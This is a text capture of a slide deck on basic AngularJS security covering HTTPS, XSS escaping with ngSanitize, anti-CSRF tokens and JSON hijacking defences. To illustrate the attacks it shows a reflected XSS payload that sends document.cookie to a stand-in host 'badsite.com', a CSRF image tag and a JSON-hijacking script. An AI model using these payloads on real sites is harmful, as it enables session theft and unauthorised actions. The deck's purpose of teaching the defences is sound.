Secure my ng-app
4 likes5,887 views
This document provides a checklist and overview of basic security practices for securing an AngularJS application. It discusses securing the server, preventing man-in-the-middle attacks with HTTPS, preventing XSS with input sanitization, preventing XSRF with anti-CSRF tokens, and preventing JSON injection. The document also provides code examples and explanations of authentication, authorization, escaping user input, and implementing other security best practices in AngularJS.
![Example, at index.php
$name = $_GET['name'];!
echo "Welcome $name<br>";!
echo "<a href=“http://
mythikthaksite.com/“>My
profile</a>";](https://image.slidesharecdn.com/securemyngapp-140927121632-phpapp01/85/Secure-my-ng-app-19-320.jpg)
![Example, at index.php
index.php?name=<script>window.onload
= function() {var
link=document.getElementsByTagName(“
a");link[0].href="http://badsite.com/
xss?"+document.cookie;}</script>](https://image.slidesharecdn.com/securemyngapp-140927121632-phpapp01/85/Secure-my-ng-app-21-320.jpg)
![ng-bind-html dependency
angular.module('expressionsEscaping',
[‘ngSanitize'])!
!
.controller('ExpressionsEscapingCtrl',
function ($scope) {!
$scope.msg = 'Hello, <b>World</b>!';!
});!](https://image.slidesharecdn.com/securemyngapp-140927121632-phpapp01/85/Secure-my-ng-app-28-320.jpg)
![Loggedin at goodsite!
http://goodsite.com/secret-info.json
[‘a’, ‘b', 'c']](https://image.slidesharecdn.com/securemyngapp-140927121632-phpapp01/85/Secure-my-ng-app-36-320.jpg)
![<script type="text/javascript">!
var json;!
Array = function() { json = this;};!
</script>!
<script src=“http://goodsite.com/secret-info.
json" type="text/javascript">!
<script type=“text/javascript"> !
for(var index in json)
{ console.log(json[index]); }!
</script>](https://image.slidesharecdn.com/securemyngapp-140927121632-phpapp01/85/Secure-my-ng-app-38-320.jpg)
![Deliver Invalid JSON!
)]}',
[‘a’, ‘b', 'c']](https://image.slidesharecdn.com/securemyngapp-140927121632-phpapp01/85/Secure-my-ng-app-39-320.jpg)
Secure my ng-app
- 1. <I want to> Secure my ng-app! M A Hossain Tonu
- 2. AngularJS is a <battle> tank?
- 3. Wakeup! It’s just a client side <framework>!
- 4. <head-scratching> So what to do now?
- 5. Do <what> the whole world does!
- 6. <Follow> the security checklist (basic)!
- 7. Basics to secure my ng app! • Securing the server • Prevent Man-in-the-middle • Prevent XSS with NG Sanitize • Prevent XSRF • Prevent JSON Injection
- 8. Security is nothing but doing right things in right way.
- 10. Securing the Server Authorization + Authentication
- 12. Authorization Unauthorized access = HTTP 401
- 13. Authentication API POST /login! POST /register ! POST /logout ! GET /current-user
- 14. Preventing Cookie Snooping <man-in-the- middle attacks>
- 15. HTTPS = Sanity
- 16. Http should not be hardcoded angular! .module(‘app’)! .constant('NGCONF_CONFIG', ! {! baseUrl: ‘/my-precious-url/‘,! dbName: 'ngconf'! });
- 17. <authentication cookie to HTTPS only> httpOnly and secure options to true
- 19. Example, at index.php $name = $_GET['name'];! echo "Welcome $name<br>";! echo "<a href=“http:// mythikthaksite.com/“>My profile</a>";
- 20. Example, at index.php index.php? name=guest<script>alert('attacked')</ script>
- 21. Example, at index.php index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName(“ a");link[0].href="http://badsite.com/ xss?"+document.cookie;}</script>
- 22. Escaping is the ultimate solution!
- 23. AngularJS expressions ng-bind {{curly braces}}
- 24. General defence against XSS! $scope.msg = 'Hello, <b>World</b>!'; + = <p ng-bind="msg"></p> <p>Hello, <b>World</b>!</p>
- 25. Display Markup? $scope.msg = 'Hello, <b>World</b>!'; <p ng-bind-html-unsafe="msg"></p> + = <p>Hello, <b>World</b>!</p>
- 26. Allow safe HTML tags $scope.msg = 'Hello, <b>World</b>!'; + = <p ng-bind-html="msg"></p> <p>Hello, <b>World</b>!</p>
- 27. ng-bind-html • Sanitizes <script> and <style> elements • Sanitizes attributes that take URLs such as href, src, and usemap.
- 28. ng-bind-html dependency angular.module('expressionsEscaping', [‘ngSanitize'])! ! .controller('ExpressionsEscapingCtrl', function ($scope) {! $scope.msg = 'Hello, <b>World</b>!';! });!
- 29. $sanitize service var safeDescription = $sanitize(description);
- 30. Preventing XSRF
- 31. Example, Follower Trap http://my.loggedin.site.com/follow/USERNAME/
- 32. Meanwhile in an Evil Page! <img src=“http://my.loggedin.site.com/follow/USERNAME/“ width=“1” height=“1”>
- 33. $http service comes in with a solution!
- 34. Solution! • Server sets a session cookie XSRF-TOKEN • $http extracts this token • $http attaches it as a header X-XSRF-TOKEN • Token, auth cookie digest with added salt! yummy!
- 36. Loggedin at goodsite! http://goodsite.com/secret-info.json [‘a’, ‘b', 'c']
- 37. Meanwhile in an Evil Page!
- 38. <script type="text/javascript">! var json;! Array = function() { json = this;};! </script>! <script src=“http://goodsite.com/secret-info. json" type="text/javascript">! <script type=“text/javascript"> ! for(var index in json) { console.log(json[index]); }! </script>
- 39. Deliver Invalid JSON! )]}', [‘a’, ‘b', 'c']
- 40. $http service automatically strips this prefix string
- 41. This is it? Now implement Your Own Security Patterns :)
- 42. Homework for Good kids • Adding your own Security Service • securityInterceptor Service • Secure routes using Route Resolvers
- 43. Mastering Web Application Development with AngularJS
- 44. References • AngularJS Authentication Pattern • Secure AngularJS
- 45. QA?
- 46. Who am I? ! http://mahtonu.wordpress.com Vantage Labs Dhaka @mahtonu Authored the title “PHP Application Development with NetBeans: Beginner's Guide” http://link.packtpub.com/6HaElo